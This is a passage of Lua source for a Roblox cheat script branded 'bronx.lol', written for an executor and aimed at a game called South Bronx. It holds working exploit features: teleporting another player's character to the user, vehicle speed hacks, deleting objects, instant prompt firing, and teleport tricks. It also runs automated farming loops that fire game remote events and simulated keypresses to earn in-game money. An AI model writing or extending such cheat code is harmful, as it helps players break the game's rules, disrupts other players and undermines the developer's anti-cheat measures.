                    if tostring(Config.South_Bronx.PlayerUtilities.SelectedPlayer) == tostring(LocalPlayer) then continue end
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer) or not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character or not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart") then continue end
                    Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart").CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame + Vector3.new(2, 0, 0)
                end
            end))
            
            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do
                    task.wait(0)
                    if Config.South_Bronx.VehicleModifications.SpeedEnabled and UserInputService:IsKeyDown(Enum.KeyCode.W) then
                        if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                            if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                                local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                                if Humanoid and typeof(Humanoid) == "Instance" then
                                    local SeatPart = Humanoid.SeatPart
                                    if SeatPart and typeof(SeatPart) == "Instance" and SeatPart:IsA("VehicleSeat") then
                                        SeatPart.AssemblyLinearVelocity *= Vector3.new(1 + Config.South_Bronx.VehicleModifications.SpeedValue, 1, 1 + Config.South_Bronx.VehicleModifications.SpeedValue)
                                    end
                                end
                            end
                        end
                    end
                end
            end))
            
            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do
                    task.wait(0)
                    if Config.South_Bronx.VehicleModifications.BreakEnabled and UserInputService:IsKeyDown(Enum.KeyCode.S) then
                        if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                            if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                                local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                                if Humanoid and typeof(Humanoid) == "Instance" then
                                    local SeatPart = Humanoid.SeatPart
                                    if SeatPart and typeof(SeatPart) == "Instance" and SeatPart:IsA("VehicleSeat") then
                                        SeatPart.AssemblyLinearVelocity *= Vector3.new(1 - Config.South_Bronx.VehicleModifications.BreakValue, 1, 1 - Config.South_Bronx.VehicleModifications.BreakValue)
                                    end
                                end
                            end
                        end
                    end
                end
            end))
            
            UserInputService.InputBegan:Connect(function(Input, GameProcessedEvent)
                if Input.KeyCode == Config.South_Bronx.VehicleModifications.InstantStopBind and Config.South_Bronx.VehicleModifications.InstantStop and (not GameProcessedEvent) then
                    if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                        if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                            local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                            if Humanoid and typeof(Humanoid) == "Instance" then
                                local SeatPart = Humanoid.SeatPart
                                if SeatPart and typeof(SeatPart) == "Instance" and SeatPart:IsA("VehicleSeat") then
                                    SeatPart.AssemblyLinearVelocity *= Vector3.new(0, 0, 0)
                                    SeatPart.AssemblyAngularVelocity *= Vector3.new(0, 0, 0)
                                end
                            end
                        end
                    end
                end

                if Config.South_Bronx.LocalPlayer_Config.DeleteKey ~= nil and Input.UserInputType == Enum.UserInputType.MouseButton1 and UserInputService:IsKeyDown(Config.South_Bronx.LocalPlayer_Config.DeleteKey) and Config.South_Bronx.LocalPlayer_Config.DeleteOnKey and (not GameProcessedEvent) then
                    if Mouse and Mouse.Target then
                        Mouse.Target:Destroy()
                    end
                end
            end)

            ProximityPromptService.PromptButtonHoldBegan:Connect(LPH_NO_VIRTUALIZE(function(Prompt, Player)
                if Prompt and Player == LocalPlayer and fireproximityprompt then
                    if Config.South_Bronx.LocalPlayer_Config.InstantInteract then
                        fireproximityprompt(Prompt)
                    end
                end 
            end))

            getgenv().Find_Bike = LPH_NO_VIRTUALIZE(function()
                for Index, Value in Workspace:GetChildren() do
                    if Value:FindFirstChild("Owner") and string.match(tostring(Value), LocalPlayer.Name.."'s Car") and Value:FindFirstChild("Body") and Value:FindFirstChild("Body"):FindFirstChild("Passenger") then
                        return Value
                    end
                end
            
                return nil
            end)

            local FindSeatInPlayersCar = LPH_NO_VIRTUALIZE(function(Car)
                for _Index, _Value in Car.Body:GetChildren() do
                    if _Value:IsA("Seat") then
                        if _Value.Occupant ~= nil then 
                            continue
                            else
                            return _Value
                        end
                    end
                end

                return
            end)

            getgenv().SitInPlayersVehicle = LPH_NO_VIRTUALIZE(function(Player)
                if not Player.Character or Player.Character.Humanoid.SeatPart == nil then
                    return
                end
                
                local SeatPart = Player.Character.Humanoid.SeatPart
                local Parent = SeatPart.Parent
                while Parent do
                    if string.match(tostring(Parent), "'s Car") then
                        Seat = FindSeatInPlayersCar(Parent)
                        LocalPlayer.Character.HumanoidRootPart.CFrame = Seat.CFrame
                        Seat:Sit(LocalPlayer.Character.Humanoid)
                        break
                    end
                    
                    Parent = Parent.Parent

                    if Parent == game then
                        break
                    end
                end
                
                return Seat
            end)

            local Teleport_Status;

            local GetDistance = LPH_NO_VIRTUALIZE(function(position1, position2)
                return (position1 - position2).Magnitude
            end)
            
            local GetTweenSpeed = LPH_NO_VIRTUALIZE(function(distance)
                local baseTime = 4.5
                local timeToTween = baseTime * (distance / 50)
                return timeToTween
            end)

            HideUI = LPH_NO_VIRTUALIZE(function(Title, Timing)
                getgenv().HideScreenGUI = Instance.new("ScreenGui")
                getgenv().HideScreenGUI.Name = getexecutorname()
                getgenv().HideScreenGUI.Parent = gethui and gethui() or Services.CoreGui
            
                local frame = Instance.new("Frame")
                frame.Name = "BlackFrame"
                frame.Size = UDim2.new(2, 0, 2, 0) 
                frame.Position = UDim2.new(0, -155, 0, -155) 
                frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) 
                frame.BackgroundTransparency = 0
                frame.Parent = getgenv().HideScreenGUI
            
                local textLabel = Instance.new("TextLabel")
                textLabel.Name = "\nhideuibronxlol"
                textLabel.Size = UDim2.new(0, 400, 0, 100)
                textLabel.Font = Enum.Font.SourceSansBold
                textLabel.RichText = true
                textLabel.Text = '<font color="rgb(0,163,224)">bronx.</font>lol\n' .. Title
                textLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
                textLabel.BackgroundTransparency = 1
                textLabel.TextSize = 36
                textLabel.TextStrokeTransparency = 0.8 
                textLabel.TextXAlignment = Enum.TextXAlignment.Center
                textLabel.TextYAlignment = Enum.TextYAlignment.Center
                textLabel.TextWrapped = true
                textLabel.AnchorPoint = Vector2.new(0.5, 0.5)
                textLabel.Position = UDim2.new(0.5, 0, 0.5, 0)
                textLabel.Parent = getgenv().HideScreenGUI
            
                if Timing then
                    task.spawn(function()
                        local startTime = tick()
                        local endTime = startTime + Timing
                        while tick() < endTime do
                            local timeLeft = endTime - tick()

                            textLabel.Text = string.format(
                                '<font color="rgb(0,163,224)">bronx.</font>lol\n%s\nplease wait : <font color="rgb(0,163,224)">%.2f</font> seconds',
                                Title, math.max(timeLeft, 0)
                            )

                            task.wait()
                        end
                    end)
                end
            
                return textLabel
            end)            

            DeleteSecretUI = LPH_NO_VIRTUALIZE(function(Title)
                if getgenv().HideScreenGUI then
                    getgenv().HideScreenGUI:Destroy()
                    getgenv().HideScreenGUI = nil
                end

                pcall(function()
                    for i,v in gethui():GetChildren() do
                        if v.Name == getexecutorname() then
                            v:Destroy()
                        end
                    end
                end)
            end)

            local tp_debounce = false

            local GetCuttingBoard, GetBowl, GetPot, CheckHobo, GetHouse = LPH_NO_VIRTUALIZE(function()
                for Index, Value in Workspace.Map.Locations["The Laboratory"]["Cutting Boards"]:GetChildren() do
                    local Prompt = Value:FindFirstChildWhichIsA("ProximityPrompt", true)

                    if Prompt and Prompt.Enabled then
                        return Value
                    end
                end
            end), LPH_NO_VIRTUALIZE(function()
                for Index, Value in Workspace.Map.Locations["The Laboratory"].Bowls:GetChildren() do
                    local Prompt = Value:FindFirstChildWhichIsA("ProximityPrompt", true)

                    if Prompt and Prompt.Enabled then
                        return Value
                    end
                end
            end), LPH_NO_VIRTUALIZE(function()
                for Index, Value in Workspace.Map.Locations["The Laboratory"].Extra:GetChildren() do
                    if Value.Name == "Table" then
                        Value.CanCollide = false
                    end
                end

                for Index, Value in Workspace.Map.Locations["The Laboratory"].Pots:GetChildren() do
                    local Prompt = Value:FindFirstChildWhichIsA("ProximityPrompt", true)

                    if Prompt and Prompt.Enabled then
                        return Value
                    end
                end
            end), LPH_NO_VIRTUALIZE(function(Name)
                if Workspace.Folders.HomelessPeople:FindFirstChild(Name) then
                    local Prompt = Workspace.Folders.HomelessPeople:FindFirstChild(Name):FindFirstChildWhichIsA("ProximityPrompt", true)

                    if Prompt and Prompt.Enabled and Workspace.Folders.HomelessPeople:FindFirstChild(Name).LeftLowerLeg.Rotation.X == 90 then
                        return true
                    end
                end

                return false
            end), LPH_NO_VIRTUALIZE(function()
                for Index, Value in Workspace.Map.APTS:GetChildren() do
                    if Value:FindFirstChild("Board") then
                        local Name = Value:FindFirstChild("Board").name.SurfaceGui.TextLabel.Text

                        if Name == LocalPlayer.Name then
                            return Workspace.Map.Houses:FindFirstChild(Value.Name)
                        end
                    end
                end

                return nil
            end)

            local Get_Hobo = LPH_NO_VIRTUALIZE(function()
                for i,v in Workspace.Folders.HomelessPeople:GetChildren() do
                    if CheckHobo(v.Name) then
                        return v
                    end
                end 

                return nil
            end)


            getgenv().Teleport = LPH_NO_VIRTUALIZE(function(CFrame)   
                if Config.South_Bronx.TeleportMethod == 'Dirt Bike' then
                    local Bike = Find_Bike()

                    if Bike == nil then
                        ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireServer("Spawn", "DirtBike")
                        local BikeForce = false

                        task.spawn(function()
                            task.wait(3) ; BikeForce = true
                        end)

                        repeat task.wait() until Find_Bike() ~= nil or BikeForce == true

                        Bike = Find_Bike()
                        task.wait()
                        if Bike == nil then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Your bike was not found!`,
                                lifetime = 5
                            })

                            return "Failed"
                        end
                    end

                    if Bike and Bike.DriveSeat and Bike.DriveSeat.Occupant ~= nil and Bike.DriveSeat.Occupant ~= LocalPlayer.Character.Humanoid then
                        ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireServer("Spawn", "DirtBike")
                        local BikeForce = false

                        task.spawn(function()
                            task.wait(3) ; BikeForce = true
                        end)

                        repeat task.wait() until Find_Bike() ~= nil or BikeForce == true

                        Bike = Find_Bike()
                        task.wait()
                        if Bike == nil then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Your bike was not found!`,
                                lifetime = 5
                            })

                            return "Failed"
                        end
                    end

                    LocalPlayer.Character.HumanoidRootPart.CFrame = Bike.PrimaryPart.CFrame
                    
                    Bike.DriveSeat:Sit(LocalPlayer.Character.Humanoid)

                    task.wait(1.5)

                    for Index = 1, 50 do
                        Bike:SetPrimaryPartCFrame(CFrame + Vector3.new(0, 1.5, 0))
                    end

                    task.wait(1)

                    for Index = 1, 10 do
                        Bike:SetPrimaryPartCFrame(CFrame + Vector3.new(0, 1.5, 0))
                    end

                    for Index, Value in Bike:GetDescendants() do
                        pcall(function()
                            Value.Velocity = Vector3.new(0, 0, 0)
                        end)

                        pcall(function()
                            Value.RotVelocity = Vector3.new(0, 0, 0)
                        end)
                    end

                    task.wait(.25)

                    ReplicatedStorage.RemoteEvents.ClientEffects:FireServer("JumpRequest")

                    return "Success"
                elseif Config.South_Bronx.TeleportMethod == 'Tween' then
                    local DistanceFromPos = GetDistance(LocalPlayer.Character.HumanoidRootPart.Position , CFrame.Position)

                    local Tween = Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(GetTweenSpeed(DistanceFromPos), Enum.EasingStyle.Linear), {CFrame = CFrame})

                    Tween:Play() ; Tween.Completed:Wait() ;

                    return (LocalPlayer.Character.HumanoidRootPart.Position - CFrame.Position).Magnitude > 20 and "Success" or "Failed"
                elseif Config.South_Bronx.TeleportMethod == 'Damage' then
                    if tp_debounce then repeat wait(.1) until not tp_debounce end
                    tp_debounce = true
                    HideUI("teleporting.\nplease wait.")
                    
                    pcall(function()
                        local E1 = LocalPlayer.PlayerGui.Misc.Blood.ImageLabel.Changed:Connect(function()
                            LocalPlayer.PlayerGui.Misc.Blood.ImageLabel.Visible = false
                        end)

                        local E3 = LocalPlayer.PlayerGui.Misc.Blood.Impact.Changed:Connect(function()
                            LocalPlayer.PlayerGui.Misc.Blood.Impact.Visible = false
                        end)

                        local E5 = Lighting.ChildAdded:Connect(function(a)
                            if tostring(a) == "KN_Blur" then 
                                a.Enabled = false
                            end
                        end)

                        local Hobo = Get_Hobo()

                        if not Hobo then
                            repeat wait(1) Hobo = Get_Hobo()
                            until Hobo ~= nil
                        end

                        repeat
                            task.wait()
                            if Hobo then
                                LocalPlayer.Character.HumanoidRootPart.CFrame = Hobo.HumanoidRootPart.CFrame
                                fireproximityprompt(Hobo:FindFirstChildWhichIsA('ProximityPrompt', true))

                                if not CheckHobo(Hobo.Name) then
                                    Hobo = Get_Hobo()
                                end
                            end

                        until LocalPlayer.Character.Humanoid.Health <= 15

                        local number = 1

                        repeat task.wait()
                        LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame + Vector3.new(0, 1, 0)
                        number+=1

                        if number > 50 then
                            LocalPlayer.Character.HumanoidRootPart.Anchored = true
                        end

                        until LocalPlayer.Character.Humanoid:GetState() ~= Enum.HumanoidStateType.Physics

                        task.delay(4, function()
                            E1:Disconnect()
                            E3:Disconnect()
                            E5:Disconnect()
                        end)

                        task.wait(1)

                        LocalPlayer.Character.HumanoidRootPart.Anchored = false
                    end)

                    DeleteSecretUI()

                    tp_debounce = false

                    return (LocalPlayer.Character.HumanoidRootPart.Position - CFrame.Position).Magnitude < 20 and "Success" or "Failed"
                end
            end)

            local ATMPositions = {
                ATM1 = CFrame.new(-30, 4, -300);
                ATM2 = CFrame.new(539, 4, -353);
                ATM3 = CFrame.new(497, 4, 403);
                ATM4 = CFrame.new(236, 4, -158);
                ATM5 = CFrame.new(525, -8, -92);
                ATM6 = CFrame.new(-450, 4, 370);
                ATM7 = CFrame.new(-266, 4, -209);
                ATM8 = CFrame.new(-11, 4, 231);
                ATM9 = CFrame.new(717, 4, 410);
                ATM10 = CFrame.new(-532, 3, -21);
                ATM11 = CFrame.new(-646, 4, 155);
                ATM12 = CFrame.new(698, 3, -241);
                ATM13 = CFrame.new(-315, 4, 142);
                ATM14 = CFrame.new(-378, 4, -365);
                ATM15 = CFrame.new(360, 4, -364);
                ATM16 = CFrame.new(870, 3, -346);
                ATM17 = CFrame.new(904, 3, -99);
                ATM18 = CFrame.new(1095, 3, 178);
                ATM19 = CFrame.new(1054, 4, 585);
                ATM20 = CFrame.new(895, 4, 142);
                ATM21 = CFrame.new(1021, 3, -229);
            };

            local PressKeyTween = LPH_NO_VIRTUALIZE(function(KeyCode, Tween)
                task.spawn(function()
                    VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                    VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
                    Tween.Completed:Wait()
                    VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                end)
            end)

            local PressKey = function(KeyCode, Duration)
                task.spawn(LPH_NO_VIRTUALIZE(function()
                    Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                    Services.VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
                    task.wait(Duration)
                    Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                end))
            end

            local boxfarm_thread

            Start_BoxFarm = function()
                boxfarm_thread = task.spawn(LPH_NO_VIRTUALIZE(function()
                    while task.wait() do
                        if not LocalPlayer.Character then continue end
                        if not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                        if not Config.South_Bronx.FarmingUtilities.BoxFarm then continue end

                        if not LocalPlayer.Backpack:FindFirstChild("Crate") and not LocalPlayer.Character:FindFirstChild("Crate") then
                            local DistanceFromBox = GetDistance(LocalPlayer.Character.HumanoidRootPart.Position, Vector3.new(-549, 3, -82))

                            local Tween = Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(GetTweenSpeed(DistanceFromBox), Enum.EasingStyle.Linear), {CFrame = CFrame.new(-549.1292724609375, 3.5371456146240234, -82.9239501953125)})

                            PressKeyTween(Enum.KeyCode.W, Tween) ; PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                            Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                            fireproximityprompt(Workspace.PlaceHere.Attachment.ProximityPrompt)

                            task.wait(1)

                            repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("Crate")

                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack.Crate)

                            task.wait(1)
                        end

                        if not LocalPlayer.Character:FindFirstChild("Crate") then
                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Crate"))
                            task.wait(1)
                        end

                        if not LocalPlayer.Backpack:FindFirstChild("Crate") and not LocalPlayer.Character:FindFirstChild("Crate") then
                            continue
                        end

                        local DistanceFromTruck = GetDistance(LocalPlayer.Character.HumanoidRootPart.Position, Vector3.new(-401.04364013671875, 3.3621325492858887, -72.07713317871094))

                        local Tween = Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(GetTweenSpeed(DistanceFromTruck), Enum.EasingStyle.Linear), {CFrame = CFrame.new(-401.04364013671875, 3.3621325492858887, -72.07713317871094)})

                        PressKeyTween(Enum.KeyCode.W, Tween) ; PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                        Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                        fireproximityprompt(Workspace.cratetruck2.Model.ClickBox.Attachment.ProximityPrompt)

                        task.wait(0.9)
                    end
                end))
            end

            Stop_BoxFarm = LPH_NO_VIRTUALIZE(function()
                if not boxfarm_thread then return end

                if coroutine.status(boxfarm_thread) == "suspended" then
                    task.cancel(boxfarm_thread)
                end
            end)

            task.spawn(LPH_JIT_MAX(function()
                while task.wait(.1) do
                    if not Config.South_Bronx.FarmingUtilities.CardFarm then continue end
                    if not LocalPlayer.Character and not LocalPlayer.Character:FindFirstChild("Humanoid") then continue end

                    LocalPlayer.Character:FindFirstChild("Humanoid").Sit = false ; LocalPlayer.Character:FindFirstChild("Humanoid").Jump = true

                    for Index, Value in Workspace.Map.Locations["Community Bank"]:GetDescendants() do
                        pcall(function()
                            Value.CanCollide = false
                        end)
                    end
                end
            end))

            task.spawn(LPH_JIT_MAX(function()
                while task.wait(.1) do
                    if not Config.South_Bronx.FarmingUtilities.MarshmallowFarm then continue end
                    if not LocalPlayer.Character and not LocalPlayer.Character:FindFirstChild("Humanoid") then continue end

                    LocalPlayer.Character:FindFirstChild("Humanoid").Sit = false ; LocalPlayer.Character:FindFirstChild("Humanoid").Jump = true
                end
            end))
        
            playerHasCard = false

            task.spawn(LPH_JIT_MAX(function()
                while task.wait(.1) do
                    if not Config.South_Bronx.FarmingUtilities.CardFarm then continue end
                    
                    pcall(function()
                        Workspace.Map.Decor:FindFirstChild("rail thing"):Destroy()
                    end)

                    if not Workspace.Map.Decor:FindFirstChild("rail thing") then
                        break
                    end
                end
            end))

            local MarshmallowFarm_Thread

            Start_MarshmallowFarm = function()
                MarshmallowFarm_Thread = task.spawn(LPH_JIT_MAX(function()
                    while wait() do
                        if not Config.South_Bronx.FarmingUtilities.MarshmallowFarm then continue end
                        local Owns_Bike = Config.South_Bronx.OwnedBike == "No"
                        
                        local Marshmellow_Increment = Config.South_Bronx.FarmingUtilities.MarshmallowIncrement

                        local Items = {"Gelatin", "Sugar Block Bag", "Water"}

                        Teleport(CFrame.new(510, 4, 602), Owns_Bike)

                        for _ = 1, Marshmellow_Increment do
                            for Index, Value in Items do
                                ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("StorePurchase"):FireServer(Value)
                                task.wait()
                            end
                        end

                        task.wait(3)

                        local House = GetHouse();

                        if not House then
                            repeat task.wait() House = GetHouse() until House ~= nil
                        end 

                        local Pot = House.Interior["Cooking Pot"]

                        Teleport(Pot.CFrame, Owns_Bike)

                        task.wait(1)

                        LocalPlayer.Character.Humanoid:MoveTo(Pot.Position)

                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

                        for _ = 1, Marshmellow_Increment do
                            if not LocalPlayer.Character:FindFirstChild("Water") then
                                LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Water"))
                            end

                            task.wait(1)

                            fireproximityprompt(Pot.Attachment.ProximityPrompt)

                            task.wait(2.5)

                            repeat task.wait() until Pot.Timer.TextLabel.Text == "0"

                            if not LocalPlayer.Character:FindFirstChild("Sugar Block Bag") then
                                LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Sugar Block Bag"))
                            end

                            task.wait(1)

                            fireproximityprompt(Pot.Attachment.ProximityPrompt)

                            task.wait(2.5)

                            LocalPlayer.Character.Humanoid:UnequipTools()

                            if not LocalPlayer.Character:FindFirstChild("Gelatin") then
                                LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Gelatin"))
                            end

                            fireproximityprompt(Pot.Attachment.ProximityPrompt)

                            task.wait(3)

                            repeat task.wait() until Pot.Timer.TextLabel.Text == "0"

                            if not LocalPlayer.Character:FindFirstChild("Empty Bag") then
                                LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Empty Bag"))
                            end

                            task.wait(1)

                            fireproximityprompt(Pot.Attachment.ProximityPrompt)

                            task.wait(1)

                            LocalPlayer.Character.Humanoid:UnequipTools()
                        end

                        Teleport(CFrame.new(510, 4, 602), Owns_Bike)

                        repeat task.wait() until Workspace.NPCs:FindFirstChild('Lamont Bell')

                        task.wait(1)

                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(511, 4, 598))

                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

                        for Index, Value in LocalPlayer.Backpack:GetChildren() do
                            if Value:IsA("Tool") and Value.Name:find("Marshmallow") then
                                LocalPlayer.Character.Humanoid:EquipTool(Value)
                                fireproximityprompt(Workspace.NPCs["Lamont Bell"].UpperTorso.ProximityPrompt)

                                task.wait(0.25)
                            end
                        end

                        task.wait(3)
                    end
                end))
            end

            Stop_MarshmallowFarm = LPH_NO_VIRTUALIZE(function()
                if not MarshmallowFarm_Thread then return end
                if coroutine.status(MarshmallowFarm_Thread) == "suspended" then
                    task.cancel(MarshmallowFarm_Thread)
                end
            end)

            local ChipFarm_Thread

            Start_ChipFarm = function()
                ChipFarm_Thread = task.spawn(LPH_JIT_MAX(function()
                    while task.wait(1) do
                        if not Config.South_Bronx.FarmingUtilities.ChipFarm then continue end

                        local Owns_Bike = Config.South_Bronx.OwnedBike == "No"

                        if not LocalPlayer.Backpack:FindFirstChild("Flour") or not LocalPlayer.Backpack:FindFirstChild("Potato") then
                            Teleport_Status = Teleport(CFrame.new(-773, 4, -157), Owns_Bike)
                                        
                            if not LocalPlayer.Backpack:FindFirstChild("Flour") then
                                repeat task.wait(2)
                                ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("StorePurchase"):FireServer("Flour")
                                until LocalPlayer.Backpack:FindFirstChild("Flour")
                            end
                    
                            if not LocalPlayer.Backpack:FindFirstChild("Potato") then
                                repeat task.wait(2)
                                ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("StorePurchase"):FireServer("Potato")
                                until LocalPlayer.Backpack:FindFirstChild("Potato")
                            end
                        end
                    
                        repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("Potato") and LocalPlayer.Backpack:FindFirstChild("Flour")
                    
                        task.wait(3)
                    
                        Teleport_Status = Teleport(CFrame.new(-479, 4, -437), Owns_Bike)

                        repeat task.wait() until Teleport_Status == "Success"

                        task.wait(3)
                                        
                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-479, 4, -437))
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        fireproximityprompt(Workspace.Map.Locations["The Laboratory"].Prompts.Clipboard.ProximityPrompt)
                    
                        task.wait(2)
                    
                        local CookingBoard = GetCuttingBoard()
                    
                        LocalPlayer.Character.Humanoid:MoveTo(CookingBoard.Part.Position)
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        if not LocalPlayer.Character:FindFirstChild("Potato") then
                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Potato"))
                        end
                    
                        task.wait(2)
                    
                        fireproximityprompt(CookingBoard:FindFirstChildWhichIsA("ProximityPrompt", true))
                    
                        task.wait(3)
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-463, 4, -473))
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        fireproximityprompt(Workspace.Map.Locations["The Laboratory"].Prompts["Plastic Bag"].Attachment.ProximityPrompt)
                    
                        task.wait(1.5)
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-466, 4, -474))
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-466, 4, -522))
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        local Bowl = GetBowl()
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Bowl.CamPart.Position)
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        if not LocalPlayer.Character:FindFirstChild("Flour") then
                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Flour"))
                        end
                    
                        task.wait(1)
                    
                        fireproximityprompt(Bowl.ProximityPrompt)
                    
                        task.wait(5)
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-466, 4, -518))
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-467, 4, -470))
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        local Pot = GetPot()
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Pot.Position)
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        fireproximityprompt(Pot.ProximityPrompt)

                        task.wait(5)
                    
                        repeat task.wait(1) until Pot.Timer.TextLabel.Text == "0"

                        fireproximityprompt(Pot.ProximityPrompt)

                        PressKey(Enum.KeyCode.W, .25) task.wait(.25)
                        PressKey(Enum.KeyCode.S, .25) task.wait(.25)
                        PressKey(Enum.KeyCode.A, .25) task.wait(.25)
                        PressKey(Enum.KeyCode.D, .25) task.wait(.25)
                    
                        repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("Potato Chips")

                        Teleport_Status = Teleport(Workspace.NPCs:FindFirstChild("Poor Guy").Head.CFrame)

                        repeat task.wait() until Teleport_Status == "Success"

                        task.wait(3)
                    
                        LocalPlayer.Character.Humanoid:MoveTo(Workspace.NPCs:FindFirstChild("Poor Guy").Head.Position)
                    
                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()
                    
                        fireproximityprompt(Workspace.NPCs["Poor Guy"].UpperTorso.ProximityPrompt)
                    
                        task.wait(1)
                    
                        task.wait(12.5)

                        local Hobo = Get_Hobo()

                        if not Hobo then
                            repeat wait(1)
                                Hobo = Get_Hobo()
                            until Hobo ~= nil
                        end 

                        Teleport_Status = Teleport(Hobo.Head.CFrame)

                        repeat task.wait() until Teleport_Status == "Success" and tp_debounce == false

                        task.wait(5)

                        PressKey(Enum.KeyCode.W, .25) task.wait(.25)
                        PressKey(Enum.KeyCode.S, .25) task.wait(.25)
                        PressKey(Enum.KeyCode.A, .25) task.wait(.25)
                        PressKey(Enum.KeyCode.D, .25) task.wait(.25)
                            
                        task.wait(1.25)

                        if not LocalPlayer.Character:FindFirstChild("Hot Chips") then
                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Hot Chips"))
                        end
        
                        LocalPlayer.Character.Humanoid:MoveTo(Hobo:FindFirstChild("RightLowerLeg", true).Position)

                        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

                        task.wait(4)
                    
                        local prompt = Hobo:FindFirstChildWhichIsA("ProximityPrompt", true)

                        fireproximityprompt(prompt)

                        task.wait(5)
                    end
                end))
            end
            
            Stop_ChipFarm = LPH_NO_VIRTUALIZE(function()
                if not ChipFarm_Thread then return end
                if coroutine.status(ChipFarm_Thread) == "suspended" then
                    task.cancel(ChipFarm_Thread)
                end
            end)

            local CardFarm_Thread

            Start_CardFarm = function()
                CardFarm_Thread = task.spawn(LPH_JIT_MAX(function()
                    while task.wait(1) do
                        if not Config.South_Bronx.FarmingUtilities.CardFarm then continue end
                        if not LocalPlayer.Character then continue end
                        
                        if Config.South_Bronx.TeleportMethod ~= "Tween" then
                            if playerHasCard == false then
                                if not LocalPlayer.Backpack:FindFirstChild("Fake ID") and not LocalPlayer.Character:FindFirstChild("Fake ID") and not LocalPlayer.Backpack:FindFirstChild("Card") and not LocalPlayer.Character:FindFirstChild("Card") then
                                    local Teleport_Status = Teleport(CFrame.new(219, 4, -332))
                                    repeat RunService.RenderStepped:Wait() until Workspace.NPCs:FindFirstChild("FakeIDSeller")
